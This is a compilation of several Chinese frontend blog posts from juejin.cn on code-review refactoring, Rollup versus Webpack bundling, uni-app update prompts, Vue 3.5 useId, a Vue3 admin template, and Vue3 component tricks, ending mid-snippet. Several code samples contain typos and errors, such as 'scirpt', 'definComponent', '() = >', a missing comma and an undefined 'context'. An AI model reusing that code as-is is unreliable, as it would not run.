这些处理逻辑,我们可以采用 映射代替分支逻辑
// 使用映射进行优化
const STATUS_MAP = {
'success': 'Successfull',
'fail': 'failed',
'warn': 'warning',
'danger': 'dangerous',
'info': 'information',
'text': 'texts'
}
return STATUS_MAP[status] ?? status
【扩展】
??
是 TypeScript
中的 “空值合并操作符”
当前面的值为 null
或者 undefined
时,取后面的值
对象赋值优化
// 多个对像属性赋值
const setStyle = () => {
content.body.head_style.style.color = 'red'
content.body.head_style.style.background = 'yellow'
content.body.head_style.style.width = '100px'
content.body.head_style.style.height = '300px'
// ...
}
这样一个个赋值太麻烦了,全部放一起赋值不就行了
可能,有些同学就这样写
const setStyle = () => {
content.body.head_style.style = {
color: 'red',
background: 'yellow',
width: '100px',
height: '300px'
}
}
咋一看,好像没问题了呀?那 style
要是有其他属性呢,其他属性不就直接没了吗~
const setStyle = () => {
content.body.head_style.style = {
...content.body.head_style.style
color: 'red',
background: 'yellow',
width: '100px',
height: '300px'
}
}
采用展开运算符,将原属性插入,然后从后面覆盖新属性,这样原属性就不会丢了
隐式耦合优化
// 隐式耦合
function responseInterceptor(response) {
const token = response.headers.get("authorization");
if (token) {
localStorage.setItem('token', token);
}
}
function requestInterceptor(response) {
const token = localStorage.getItem('token');
if (token) {
response.headers.set("authorization", token);
}
}
这个上面两个函数有耦合的地方,但是不太明显
比如这样的情况,有一天,我不想在 responseInterceptor
函数中保存 token
到 localStorage
了
function responseInterceptor(response) {
const token = response.headers.get("authorization");
}
function requestInterceptor(response) {
const token = localStorage.getItem('token');
if (token) {
response.headers.set("authorization", token);
}
}
会发生什么?
localStorage.getItem('token')
一直拿不到数据,requestInterceptor
这个函数就报废了,没用了
函数 responseInterceptor
改动,影响到函数 requestInterceptor
了,隐式耦合了
怎么优化呢?
// 将隐式耦合的常数抽离成常量
const TOKEN_KEY = "authorization";
const TOKEN = 'token';
function responseInterceptor(response) {
const token = response.headers.get(TOKEN_KEY);
if (token) {
localStorage.setItem(TOKEN_KEY, token);
}
}
function requestInterceptor(response) {
const token = localStorage.getItem(TOKEN_KEY);
if (token) {
response.headers.set(TOKEN_KEY, token);
}
}
这样做有什么好处呢?比刚才好在哪里?
还是刚才的例子,我去掉了保存 localStorage.setItem(TOKEN_KEY, token)
我可以根据TOKEN_KEY
这个常量来查找还有哪些地方用到了这个 TOKEN_KEY
,从而进行修改,就不会出现冗余,或错误
不对啊,那我不用常量,用token
也可以查找啊,但你想想 token
这个词是不是得全局查找,其他地方也会出现token
查找起来比较费时间,有时可能还会改错了
用常量的话,全局查找出现重复的概率很小
而且如果你是用 ts 的话,window 下鼠标停在常量上,按 ALT
键就能看到使用到这个常量的地方了,非常方便
小结
codeRiview(代码审查)不仅对个人技能的成长有帮助,也对我们在升职加薪、面试有所裨益
CR
除了传统的方式外,也可以借助 AI 工具,来简化其中流程,提高效率
上述的优化案例,虽然优化方式不同,但是核心思想都是一样,都是为了代码 更简洁、更容易理解、更容易维护
当然了,优化方式还有很多,如果后期遇到了也会继续补充进来
来源:juejin.cn/post/7394792228215128098
为什么组件库打包用 Rollup 而不是 Webpack?
Rolup 是一个打包工具,类似 Webpack。
组件库打包基本都是用 Rollup。
那 Webpack 和 Rollup 有什么区别呢?为什么组件库打包都用 Rollup 呢?
我们来试一下:
mkdir rollup-test
cd rollup-test
npm init -y
我们创建两个模块:
src/index.js
import { add } from './utils';
function main() {
console.log(add(1, 2))
}
export default main;
src/utils.js
function add(a, b) {
return a + b;
}
export {
add
}
很简单的两个模块,我们分别用 rollup 和 webpack 来打包下:
安装 rollup:
npm install --save-dev rollup
创建 rollup.config.js
/** @type {import("rollup").RollupOptions} */
export default {
input: 'src/index.js',
output: [
{
file: 'dist/esm.js',
format: 'esm'
},
{
file: 'dist/cjs.js',
format: "cjs"
},
{
file: 'dist/umd.js',
name: 'Guang',
format: "umd"
}
]
};
配置入口模块,打包产物的位置、模块规范。
在 webpack 里叫做 entry、output,而在 rollup 里叫做 input、output。
我们指定产物的模块规范有 es module、commonjs、umd 三种。
umd 是挂在全局变量上,还要指定一个全局变量的 name。
上面的 @type 是 jsdoc 的语法,也就是 ts 支持的在 js 里声明类型的方式。
效果就是写配置时会有类型提示:
不引入的话,啥提示都没有:
这里我们用了 export,把 rollup.config.js 改名为 rollup.config.mjs,告诉 node 这个模块是 es module 的。
配置好后,我们打包下:
npx rollup -c rollup.config.mjs
看下产物:
三种模块规范的产物都没问题。
那用 webpack 打包,产物是什么样呢?
我们试一下:
npm install --save-dev webpack-cli webpack
创建 webpack.config.mjs
import path from 'node:path';
/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
libraryTarget: 'commonjs2'
}
};
指定 libraryTarget 为 commonjs2
打包下:
npx webpack-cli -c webpack.config.mjs
可以看到,webpack 的打包产物有 100 行代码:
再来试试 umd 的:
umd 要指定全局变量的名字。
打包下:
也是 100 多行。
最后再试下 es module 的:
libraryTarget 为 module 的时候,还要指定 experiments.outputModule 为 true。
import path from 'node:path';
/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
experiments: {
outputModule: true
},
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
libraryTarget: 'module'
}
};
打包下:
产物也同样是 100 多行。
相比之下,rollup 的产物就非常干净,没任何 runtime 代码:
更重要的是 webpack 目前打包出 es module 产物还是实验性的,并不稳定。
webpack 打 cjs 和 umd 的 library 还行。
但 js 库一般不都要提供 es module 版本么,支持的不好怎么行?
所以我们一般用 rollup 来做 js 库的打包,用 webpack 做浏览器环境的打包。
前面说组件库打包一般都用 rollup,我们来看下各大组件库的打包需求。
安装 antd:
npm install --no-save antd
在 node_modules 下可以看到它分了 dist、es、lib 三个目录:
分别看下这三个目录的组件代码:
lib 下的组件是 commonjs 的:
es 下的组件是 es module 的:
dist 下的组件是 umd 的:
然后在 package.json 里分别声明了 commonjs、esm、umd 还有类型的入口:
这样,当你用 require 引入的就是 lib 下的组件,用 import 引入的就是 es 下的组件。
而直接 script 标签引入的就是 unpkg 下的组件。
再来看一下 semi design 的:
npm install --no-save @douyinfe/semi-ui
也是一样:
只不过多了个 css 目录。
所以说,组件库的打包需求就是组件分别提供 esm、commonjs、umd 三种模块规范的代码,并且还有单独打包出的 css。
那 rollup 如何打包 css 呢?
我们试一下:
创建 src/index.css
.aaa {
background: blue;
}
创建 src/utils.css
.bbb {
background: red;
}
然后分别在 index.js 和 utils.js 里引入下:
安装 rollup 处理 css 的插件:
npm install --save-dev rollup-plugin-postcss
引入下:
import postcss from 'rollup-plugin-postcss';
/** @type {import("rollup").RollupOptions} */
export default {
input: 'src/index.js',
output: [
{
file: 'dist/esm.js',
format: 'esm'
},
{
file: 'dist/cjs.js',
format: "cjs"
},
{
file: 'dist/umd.js',
name: 'Guang',
format: "umd"
}
],
plugins: [
postcss({
extract: true,
extract: 'index.css'
}),
]
};
然后跑一下:
npx rollup -c rollup.config.mjs
可以看到,产物多了 index.css
而 js 中没有引入 css 了:
被 tree shaking 掉了,rollup 默认开启 tree shaking。
这样我们就可以单独打包组件库的 js 和 css。
删掉 dist,我们试下不抽离是什么样的:
npx rollup -c rollup.config.mjs
可以看到,代码里多了 styleInject 的方法:
用于往 head 里注入 style
一般打包组件库产物,我们都会分离出来。
然后我们再用 webpack 打包试试:
安装用到的 loader:
npm install --save-dev css-loader style-loader
css-loader 是读取 css 内容为 js
style-loader 是往页面 head 下添加 style 标签,填入 css
这俩结合起来和 rollup 那个插件功能一样。
配置 loader:
module: {
rules: [{
test: /\.css$/i,
use: ["style-loader", "css-loader"],
}],
}
用 webpack 打包下:
npx webpack-cli -c webpack.config.mjs
可以看到 css 变成 js 模块引入了:
这是 css-loader 做的。
而插入到 style 标签的 injectStylesIntoStyleTag 方法则是 style-loader 做的:
然后再试下分离 css,这用到一个单独的插件:
npm install --save-dev mini-css-extract-plugin
配一下:
import path from 'node:path';
import MiniCssExtractPlugin from "mini-css-extract-plugin";
/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
},
module: {
rules: [{
test: /\.css$/i,
use: [MiniCssExtractPlugin.loader, "css-loader"],
}],
},
plugins: [
new MiniCssExtractPlugin({
filename: 'index.css'
})
]
};
指定抽离的 filename 为 index.css
抽离用的 loader 要紧放在 css-loader 之前。
样式抽离到了 css 中,这时候 style-loader 也就不需要了。
打包下:
npx webpack-cli -c webpack.config.mjs
样式抽离到了 css 中:
而 js 里的这个模块变为了空实现:
所以 webpack 的 style-loader + css-loader + mini-css-extract-plugin 就相当于 rollup 的 rollup-plugin-postcss 插件。
为什么 rollup 没有 loader 呢?
因为 rollup 的 plugin 有 transform 方法,也就相当于 loader 的功能了。
我们自己写一下抽离 css 的 rollup 插件:
创建 my-extract-css-rollup-plugin.mjs(注意这里用 es module 需要指定后缀为 .mjs):
const extractArr = [];
export default function myExtractCssRollupPlugin (opts) {
return {
name: 'my-extract-css-rollup-plugin',
transform(code, id) {
if(!id.endsWith('.css')) {
return null;
}
extractArr.push(code);
return {
code: 'export default undefined',
map: { mappings: '' }
}
},
generateBundle(options, bundle) {
this.emitFile({
fileName: opts.filename || 'guang.css',
type: 'asset',
source: extractArr.join('\n/*光光666*/\n')
})
}
};
}
在 transform 里对代码做转换,这就相当于 webpack 的 loader 了。
我们在 transform 里只处理 css 文件,保存 css 代码,返回一个空的 js 文件。
然后 generateBundle 里调用 emitFile 生成一个合并后的 css 文件。
用一下:
import myExtractCssRollupPlugin from './my-extract-css-rollup-plugin.mjs';
myExtractCssRollupPlugin({
filename: '666.css'
})
删掉之前的 dist 目录,重新打包:
npx rollup -c rollup.config.mjs
看下产物:
可以看到,抽离出了 css,内容是合并后的所有 css。
而 cjs 也没有 css 的引入:
也是被 tree shaking 掉了。
我们把 tree shaking 关掉试试:
再次打包:
可以看到,两个 css 模块转换后的 js 模块依然被引入了:
我们改下插件 transform 的内容:
再次打包:
可以看到引入的也是我们转后后的 css 模块的内容:
因为没用到,同样会被 tree shaking 掉。
所以说 rollup 的插件的 transform 就相当于 webpack loader 的功能。
前面说 webpack 用来做浏览器的打包,而 rollup 一般做 js 库的打包。
这也不全对,vite 就是用 rollup 来做的生产环境的打包。
因为它开发环境下不打包,而是跑了一个开发服务器,对代码做了下转换,不需要 webpack 那些 dev server 的功能。
而生产环境又需要打包,所以 rollup 就很合适。
开发环境下,浏览器里用 type 为 module 的 script 引入,会请求 vite 的开发服务器。
vite 开发服务器会调用 rollup 插件的 transform 方法来做转换。
而生产环境下,用 rollup 打包,也是用同样的 rollup 插件。
当然,vite 还会用 esbuild 来做下依赖的与构建,比如把 cjs 转换成 esm、把小模块打包成一个大的模块。
用 esbuild 是因为它更快。
所以说,vite 是基于 rollup 来实现的,包括开发服务器的 transform,以及生产环境的打包。
但是为了性能考虑,又用了 esbuild 做依赖预构建。
现在 vite 团队在开发 rust 版 rollup 也就是 rolldown 了,有了它之后,就可以完全替代掉 rollup + esbuild 了。
综上,除了 webpack、vite 外,rollup 也是非常常用的一个打包工具。
案例代码上传了github
总结
这节我们学习了 rollup,虽然它不如 webpack、vite 提到的多,但也是一个常用的打包工具。
它打包产物没有 runtime 代码,更简洁纯粹,能打包出 esm、cjs、umd 的产物,常用来做 js 库、组件库的打包。相比之下,webpack 目前对 esm 产物的支持还是实验性的,不稳定。
rollup 只有 plugin,没有 loader,因为它的 transform 方法就相当于 webpack 插件的 loader。
vite 就是基于 rollup 来实现的,开发环境用 rollup 插件的 transform 来做代码转换,生产环境用 rollup 打包。
不管你是想做组件库、js 库的打包,还是想深入学习 vite,都离不开 rollup。
更多内容可以看我的小册《Node.js CLI 通关秘籍》
来源:juejin.cn/post/7437903515169325082
uni-app开发的小程序版本更新提示
在uni-app开发过程中,应用的版本更新是一个常见的需求。当开发者发布了新版本的小程序后,希望用户在下一次打开旧版小程序时能够收到更新提示,引导用户更新到最新版本。本篇技术博客将介绍如何在uni-app中实现小程序版本更新提示的功能。
开发者将小程序文案更新后,发版后,页面、功能发现没有修改,必须在我的小程序删除后,重新进入才更新看到我们发版的功能,这样很影响用户体验
小程序更新机制
开发者在管理后台发布新版本的小程序之后,微信客户端会有若干个时机去检查本地缓存的小程序有没有新版本,并进行小程序的代码包更新。但如果用户本地有小程序的历史版本,此时打开的可能还是旧版本。
平台差异说明
App | H5 | 微信小程序 | 支付宝小程序 | 百度小程序 | 抖音小程序 | 飞书小程序 | QQ小程序 | 快手小程序 | 京东小程序 |
---|---|---|---|---|---|---|---|---|---|
x | x | √ | √ | √ | √ | √ | √ | √ | √ |
updateManager 对象的方法列表:
方法 | 参数 | 说明 |
---|---|---|
onCheckForUpdate | callback(callback) | 当向小程序后台请求完新版本信息,会进行回调 |
onUpdateReady | callback | 新的版本已经下载好,会进行回调 |
onUpdateFailed | callback | 当新版本下载失败,会进行回调 |
applyUpdate | callback | 当新版本下载完成,调用该方法会强制当前小程序应用上新版本并重启 |
onCheckForUpdate(callback) 回调结果说明:
属性 | 类型 | 说明 |
---|---|---|
hasUpdate | Boolean | 是否有新的版本 |
准备工作
在开始之前,确保你已经有了以下准备:
- uniapp项目: 一个已经部署并上线的UniApp小程序项目。
客户端检查更新代码示例
在uni-app小程序的App.vue或main.js文件中,我们可以在App.vue中的onShow生命周期钩子中检查更新:
<script>
export default {
onShow() {
// #ifdef MP
this.checkForUpdate()
// #endif
},
methods:{
// 检测是否更新
checkForUpdate(){
const _this = this
// 检查小程序是否有新版本发布
const updateManager = uni.getUpdateManager();
// 请求完新版本信息的回调
updateManager.onCheckForUpdate((res) => {
console.log('onCheckForUpdate-res',res);
//检测到新版本,需要更新,给出提示
if (res && res.hasUpdate) {
uni.showModal({
title: '更新提示',
content: '检测到新版本,是否下载新版本并重启小程序?',
success(res) {
if (res.confirm) {
//用户确定下载更新小程序,小程序下载及更新静默进行
_this.downLoadAndUpdate(updateManager)
}else{
// 若用户点击了取消按钮,二次弹窗,强制更新,如果用户选择取消后不需要进行任何操作,则以下内容可忽略
uni.showModal({
title: '温馨提示~',
content: '本次版本更新涉及到新的功能添加,旧版本无法正常访问的哦~',
confirmText: "确定更新",
cancelText:"取消更新",
success(res) {
if (res.confirm) {
//下载新版本,并重新应用
_this.downLoadAndUpdate(updateManager)
}
}
});
}
}
});
}
});
},
// 下载小程序新版本并重启应用
downLoadAndUpdate(updateManager){
const _this = this
uni.showLoading({ title: '小程序更新中' });
// //静默下载更新小程序新版本
updateManager.onUpdateReady((res) => {
console.log('onUpdateReady-res',res);
uni.hideLoading();
//新的版本已经下载好,调用 applyUpdate 应用新版本并重启
updateManager.applyUpdate()
});
// 更新失败
updateManager.onUpdateFailed((res) => {
console.log('onUpdateFailed-res',res);
// 新的版本下载失败
uni.hideLoading();
uni.showModal({
title: '已经有新版本了哟~',
content: '新版本已经上线啦~,请您删除当前小程序,重新搜索打开哟~',
showCancel: false
});
});
}
}
};
</script>
由于小程序开发版/体验版没有“版本”的概念,所以无法在开发版/体验版上测试版本更新情况,可以在开发工具上,添加编译模式,勾选最下方的“下次编译时模拟更新”,但是要注意,这种模式仅供一次编译,下次编译需重新勾选“下次编译时模拟更新”
结语
通过以上步骤,你可以在uni-app小程序中实现版本更新提示的功能。这不仅有助于提升用户体验,还能确保用户总是使用最新的功能和改进。记得在发布新版本时更新小程序版本号,以便及时通知用户。希望本篇博客能够帮助你在uni-app项目中顺利实现版本更新提示。
好了今天的内容分享到这,下次再见 👋
来源:juejin.cn/post/7387216861858201639
Vue3.5新增的useId到底有啥用?
0. 啥是useId
Vue 3.5中新增的useId
函数主要用于生成唯一的ID,这个ID在同一个Vue应用中是唯一的,并且每次调用useId
都会生成不同的ID。这个功能在处理列表渲染、表单元素和无障碍属性时非常有用,因为它可以确保每个元素都有一个唯一的标识符。
useId
的实现原理相对简单。它通过访问Vue实例的ids
属性来生成ID,这个属性是一个数组,其中包含了用于生成ID的前缀和自增数字。每次调用useId
时,都会取出当前的数字值,然后进行自增操作。这意味着在同一页面上的多个Vue应用实例可以通过配置app.config.idPrefix
来避免ID冲突,因为每个应用实例都会维护自己的ID生成序列。
1. 实现源码
export function useId(): string {
const i = getCurrentInstance()
if (i) {
return (i.appContext.config.idPrefix || 'v') + '-' + i.ids[0] + i.ids[1]++
} else if (__DEV__) {
warn(
`useId() is called when there is no active component ` +
`instance to be associated with.`,
)
}
return ''
}
i.appContext.config.idPrefix
:这是从当前组件实例中获取的一个配置属性,用于定义生成ID的前缀。如果这个前缀存在,它将被使用;如果不存在,默认使用'v'
。i.ids[0]
:这是当前组件实例上的ids
数组的第一个元素,它是一个字符串,通常为空字符串,用于生成ID的一部分。i.ids[1]++
:这是ids
数组的第二个元素,它是一个数字,用于生成ID的自增部分。这里使用了后置自增运算符++
,这意味着它会返回当前值然后自增。每次调用useId
时,这个数字都会增加,确保生成的ID是唯一的。
2.设置ID前缀
如果不想使用默认的前缀'v'
的话,可以通过app.config.idPrefix
进行设置。
const app = createApp(App)
app.config.idPrefix = 'vid'
3.使用场景
3-1. 表单元素的唯一标识
在表单中,<label>
标签需要通过 for
属性与对应的 <input>
标签的 id
属性相匹配,以实现点击标签时输入框获得焦点的功能。使用 useId
可以为每个 <input>
元素生成一个唯一的 id
,确保这一功能的正常工作。例如:
<label :for="id">Do you like Vue 3.5?</label>
<input type="checkbox" :id="id" />
const id = useId()
3-2. 列表渲染中的唯一键
在渲染列表时,每一项通常需要一个唯一的键(key),以帮助 Vue 追踪每个节点的身份,从而进行高效的 DOM 更新。如果你的列表数据没有唯一key的话,那么useId
可以为列表中的每个项目生成一个唯一的键。
<ul>
<li v-for="item in items" :key="item.id">
{{ item.text }}({{ item.id }})
</li>
</ul>
const items = Array.from({ length: 10}, (v, k) => {
return {
text: `Text ${k}`,
id: useId()
}
})
上述代码渲染结果如下:
3-3. 服务端渲染(SSR)中避免 ID 冲突
在服务端渲染(SSR)的应用中,页面的HTML内容是在服务器上生成的,然后发送给客户端浏览器。在客户端,浏览器会接收到这些HTML内容,并将其转换成一个可交互的页面。如果在服务器端和客户端生成的HTML中存在相同的ID,那么在客户端激活(hydrate)时,就可能出现问题,因为客户端可能会尝试操作一个已经由服务器端渲染的DOM元素,导致潜在的冲突或错误。
下面是一个使用useId
来避免这种ID冲突的实际案例:
服务端代码 (server.js)
import { createSSRApp } from 'vue';
import { renderToString } from '@vue/server-renderer';
import App from './App.vue';
const app = createSSRApp(App);
// 假设我们在这里获取了一些数据
const data = fetchData();
renderToString(app).then(html => {
// 将服务端渲染的HTML发送给客户端
sendToClient(html);
});
客户端代码 (client.js)
import { createSSRApp } from 'vue';
import App from './App.vue';
const app = createSSRApp(App);
// 客户端激活,将服务端渲染的HTML转换成可交互的页面
hydrateApp(app);
在这个案例中,无论是服务端还是客户端,我们都使用了createSSRApp(App)
来创建应用实例。如果我们在App.vue
中使用了useId
来生成ID,那么这些ID将在服务端渲染时生成一次,并在客户端激活时再次使用相同的ID。
App.vue 组件
<template>
<div>
<input :id="inputId" type="text" />
<label :for="inputId">Enter text:</label>
</div>
</template>
<script setup>
import { useId } from 'vue';
const inputId = useId();
</script>
在App.vue
组件中,我们使用了useId
来为<input>
元素生成一个唯一的ID。这个ID在服务端渲染时生成,并包含在发送给客户端的HTML中。当客户端接收到这个HTML并开始激活过程时,由于useId
生成的ID在服务端和客户端是相同的,所以客户端可以正确地将<label>
元素关联到<input>
元素,而不会出现ID冲突的问题。
如果没有使用useId
,而是使用了Math.random()
或Date.now()
来生成ID,那么服务端和客户端可能会生成不同的ID,导致客户端在激活时无法正确地将<label>
和<input>
关联起来,因为它们具有不同的ID。这可能会导致表单元素的行为异常,例如点击<label>
时,<input>
无法获得焦点。
3-4. 组件库中的 ID 生成
在使用 Element Plus 等组件库进行 SSR 开发时,为了避免 hydration 错误,需要确保服务器端和客户端生成相同的 ID。通过在 Vue 中注入 ID_injection_key
,可以确保 Element Plus 生成的 ID 在 SSR 中是唯一的。
// src/main.js
import { createApp } from 'vue'
import { ID_INJECTION_KEY } from 'element-plus'
import App from './App.vue'
const app = createApp(App)
app.provide(ID_INJECTION_KEY, {
prefix: 1024,
current: 0,
})
希望这篇文章介绍对你有所帮助,上述代码已托管在Gitee上,欢迎自取!
来源:juejin.cn/post/7429411484307161127
Vue3 + Antdv4 + Vite5超轻普系统开源!!!
为毛要做个超轻?社区上不是很多启动模板?请看图


是不是很炫?但是对于启动一个新项目有什么用呢?拉取下来后还得删各种没用的文件和一些不必要的配置
包含通用基础配置的启动框架
1、路由配置
在modules中插入路由文件自动读取
import { RouteRecordRaw, createRouter, createWebHistory } from "vue-router";
const modules = import.meta.glob("./modules/**/*.ts", {
eager: true,
import: "default",
});
const routeModuleList: Array<RouteRecordRaw> = [];
Object.keys(modules).forEach((key) => {
// @ts-ignore
routeModuleList.push(...modules[key]);
});
// 存放动态路由
export const asyncRouterList: Array<RouteRecordRaw> = [...routeModuleList];
const routes = [
{
path: "/",
name: "/",
redirect: asyncRouterList[0].path,
},
...asyncRouterList,
{
path: "/login",
name: "login",
component: () => import("@/views/login/index.vue"),
},
{
path: "/:catchAll(.*)*",
name: "404",
component: () => import("@/views/result/404.vue"),
},
];
const router = createRouter({
routes,
history: createWebHistory(),
});
router.beforeEach((to, from, next) => {
// TODO 各种操作
next();
});
export default router;
Axios 配置
对返回的状态码进行异常提示,请求拦截器做了通用的Token注入操作、响应拦截器做了数据处理
import axios, { AxiosInstance, AxiosRequestConfig, AxiosResponse } from "axios";
// import { MessagePlugin, NotifyPlugin } from 'tdesign-vue-next';
import { getUserStore } from "@/store";
import { message, notification } from "ant-design-vue";
interface AxiosConfig extends AxiosRequestConfig {
method?: "GET" | "POST" | "DELETE" | "PUT";
url: string;
params?: Record<string, any>;
data?: Record<string, any>;
config?: Record<string, string>;
}
const codeMessage: Record<number, string> = {
200: "服务器成功返回请求的数据。",
201: "新建或修改数据成功。",
202: "一个请求已经进入后台排队(异步任务)。",
204: "删除数据成功。",
400: "发出的请求有错误,服务器没有进行新建或修改数据的操作。",
401: "用户没有权限(令牌、用户名、密码错误)。",
403: "用户得到授权,但是访问是被禁止的。",
404: "发出的请求针对的是不存在的记录,服务器没有进行操作。",
406: "请求的格式不可得。",
410: "请求的资源被永久删除,且不会再得到的。",
422: "当创建一个对象时,发生一个验证错误。",
500: "服务器发生错误,请检查服务器。",
502: "网关错误。",
503: "服务不可用,服务器暂时过载或维护。",
504: "网关超时。",
};
const notificationBox = (status: number, url: string, errorText: string) => {
return notification.error({
message: errorText,
description: `请求错误 ${status}: ${url}`,
});
};
// 请求错误
const requestInterceptorsError = (error: any) => Promise.reject(error);
// 响应数据
const responseInterceptors = (response: AxiosResponse) => {
if (response && response.status === 200) {
const { code } = response.data;
if (code === -999) {
message.info("登录过期, 即将跳转登录页面");
const timer = setTimeout(() => {
getUserStore().logout();
clearTimeout(timer);
}, 2000);
return null;
}
return response.data;
}
return response.data;
};
// 响应错误
const responseInterceptorsError = (error: any) => {
const { response } = error;
if (response && response.status) {
const errorText = codeMessage[response.status] || response.statusText;
const { status } = response;
const url = response.request.responseURL;
if (response.status !== 400 && response.status !== 401) {
notificationBox(status, url, errorText);
}
switch (status) {
case 401:
notificationBox(status, url, errorText);
// TODO
break;
case 403:
// TODO
break;
default:
break;
}
} else {
notification.error({
message: "网络异常",
description: "您的网络发生异常,无法连接服务器",
});
}
return Promise.reject(error);
};
/** 不能token的接口 */
const noTokenList = ["/login"];
const createAxiosByInterceptors = (
config?: AxiosRequestConfig
): AxiosInstance => {
const instance = axios.create({
// TODO
baseURL: "/api",
timeout: 60000,
headers: {
"Content-Type": "application/json",
},
...config,
});
// 请求拦截器
instance.interceptors.request.use((config) => {
const { token } = getUserStore();
// 如果有 token 强制带上 token
if (token && config.url && !noTokenList.includes(config.url))
config.headers.Authorization = token;
return config;
}, requestInterceptorsError);
// 响应拦截器
instance.interceptors.response.use(
responseInterceptors,
responseInterceptorsError
);
return instance;
};
const axiosRequest = <T>(axiosParams: AxiosConfig): Promise<T | null> => {
const { method = "GET", url, params, data, config } = axiosParams;
const request = createAxiosByInterceptors(axiosParams);
switch (method) {
case "GET":
return request.get(url, { ...params, ...config });
case "POST":
return request.post(url, data, config);
case "DELETE":
return request.delete(url, { ...data, ...config });
case "PUT":
return request.put(url, { ...data, ...config });
default:
// 需要添加错误请求
return Promise.resolve(null);
}
};
export default axiosRequest;
Pinia状态管理配置
分模块处理用户信息和配置信息,可自加,具体看源码
layout布局
采用通用的左右分模式
layout组件非常支持自定义、自定性强可根据需求随意改动
通用登录页
看图
二次封装组件
组件代码全在components文件中可自行修改符合需求的组件
CombineTable
看图就知道有多方便使用了,这点代码就可以生成一个表单查询+表格
结语
这个框架很轻、几乎拿来就能开发了;
github:github.com/jesseice/an…
可以通过脚手架使用,输入npm create wyd_cli
即可下载
框架还会继续优化!!!
来源:juejin.cn/post/7382411119326740507
分享VUE3编写组件高级技巧,优雅!
在这里,主要分享一些平时写VUE组件,会用到一些技巧,会让代码得到很大的简化,可以节省很多脑力体力。
1、v-bind=“$attrs”
这是首推的一个技巧写法,特别在拓展开源组件时,无缝使用开源组件各种props值时,简直不要太爽。
比如element-ui组件中的select组件,就有一个让人痛恨的点,就是options数据无法配置,必须得手动引入option组件才行,如下:
<el-select v-model="value" placeholder="Select" size="large">
<el-option v-for="item in options" :key="item.value" :label="item.label" :value="item.value" />
</el-select>
身为一个优秀前端前端佬,这哪里能忍!
技巧随之用来,我们就可以使用上面这个,创建一个自定义select组件,既能享用原组件的各种配置属性和事件
(P.S. 如果需要组件上使用自定义事件,比如change事件,属性上定义为’onChange': ()=>{}。),也可以自定义一些功能,创建一个customSelect.vue:
<el-select v-model="selectedValue" v-bind="attts">
<el-option v-for="(item) in customOptions" v-bind="item"/>
</el-select>
这样在动态引用这个组件,就能使用自定义的customOptions这个属性。
上面例子主要说明,v-bind="$attr"的好处。但还是得多说一句,上面例子中的一些缺点。
- 无法直接使用el-select对外暴露的方法;
- 无法直接使用el-select的slot分发;
然后需要注意一个点,得在customSelect.vue组件中,设置inheritAttrs为false,防止数据在组件上一层层透传下去。
2、improt { h } from vue
h为vue中的渲染函数,主要用来创建虚拟 DOM 节点 (vnode)。对应参数,可以戳这里,看官方详细正宗介绍。
对应这个连接中,有很多渲染函数的介绍。这系列有一个很大的特点,那就是用的魔怔了,就会一不小心把VUE变成“React”,损失掉VUE框架中的一些优点。
自由度非常高。仅仅针对这个H函数举例,还是援用上面的例子,实现如下(代码片段):
<scirpt>
import {defineComponent, h} from 'vue'
import {ElSelect, ElOption} from 'element-plus'
export default definComponent({
name:'DynamicSelect',
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
setup(props) {
return () = >
h(ElSelect, () =>
props.options.map(options =>
h(ElOption, {
key:option.value,
label:option.label,
value:option.value,
})
)
)
}
})
<script>
足够清爽,简单。
3、render
render,用于编程式地创建组件虚拟 DOM 树的函数。解释链接,可以戳这里。
废话不多说,直接以上面的例子,用render方式撸一遍。
<!-- <template>
<div>1</div>
<template> -->
<scirpt>
import {defineComponent, h} from 'vue'
import {ElSelect, ElOption} from 'element-plus'
export default definComponent({
name:'DynamicSelect',
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
render(_ctx) {
return () = >
h(ElSelect, () =>
_ctx.options.map(options =>
h(ElOption, {
key:option.value,
label:option.label,
value:option.value,
})
)
)
}
})
<script>
不能说实现的方式跟上面相似,简直说是一模一样。主要在于render做了template要做的事,但相比较template少一层解析,理论上会比template更高效。
需要注意一点,这里放出官网的描述:
如果一个组件中同时存在
render
和template
,则render
将具有更高的优先级
正常理解的话,是render渲染出的vnode会高于template解析出的vnode,同时存在,render会覆盖掉template。
但在经过VUE的v3.3.4版本中操作,template会覆盖掉render。所以这个优先级,猜测可能是render会优先解析,具体得翻源码,待理解后继续更新。
4、getCurrentInstance
这个是获取当前组件实例的方法,属于核弹级别的方法,也属于VUE3官网文档中翻不到的东西。
但鲁迅说的好,路走的多了,那就成路了。如果社区用的人多了,那么它就有可能提上去!
言归正传,那么拿了这个组件的实例,能干什么呢?
那可干的事情,就可多可多了。
比如改个,调个组件方法,这都算小儿科,完全不用担心这里readOnly
,那里ReadonlyReactiveHandler
。
猛一点,直接硬插,换个上下文。
再猛的,先假设:组件实例 === 组件,组件 === VUE,VUE === YYX写的,然后你写了一点代码+VUE,是不是由此可得,你的代码 》 VUE ,进而证明 你 》 YYX。嗯?
5、extends
先来一段官方的介绍:
从实现角度来看,
extends
几乎和mixins
相同。通过extends
指定的组件将会当作第一个 mixin 来处理。
然而,
extends
和mixins
表达的是不同的目标。mixins
选项基本用于组合功能,而extends
则一般更关注继承关系。
缺点上,第1节有提一个,但还有一个不算是缺点的缺点,相同属性和方法会直接覆盖被继承的组件(钩子函数不会被覆盖),主要在于是否熟悉被继承的组件中的逻辑。用的好就很好,用的不行,就真的很不行。
如果还是用上面的例子作为例子,实现方法如下:
<scirpt>
import {defineComponent, createVNode, render, getCurrentInstance } from 'vue'
import {ElSelect, ElOption} from 'element-plus'
export default definComponent({
name:'DynamicSelect',
extends:ElSelect,
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
setup(props) {
return ElSelect.setup(props, context)
},
mounted(){
const curInstance = getCurrentInstance()
const container = doucment.createElement('div')
this.$props.options.forEach(options => {
const vNode = createVNode(ElOption,{
key:option.value,
label:option.label,
value:option.value,
})
})
const currrentProvides = curInstance?.provides
if(currrentProvides){
// 将ELSelect的Provides,传入到ElOption中
reflect.set(curInstance?.appContext,'provides',{...currrentProvides})
}
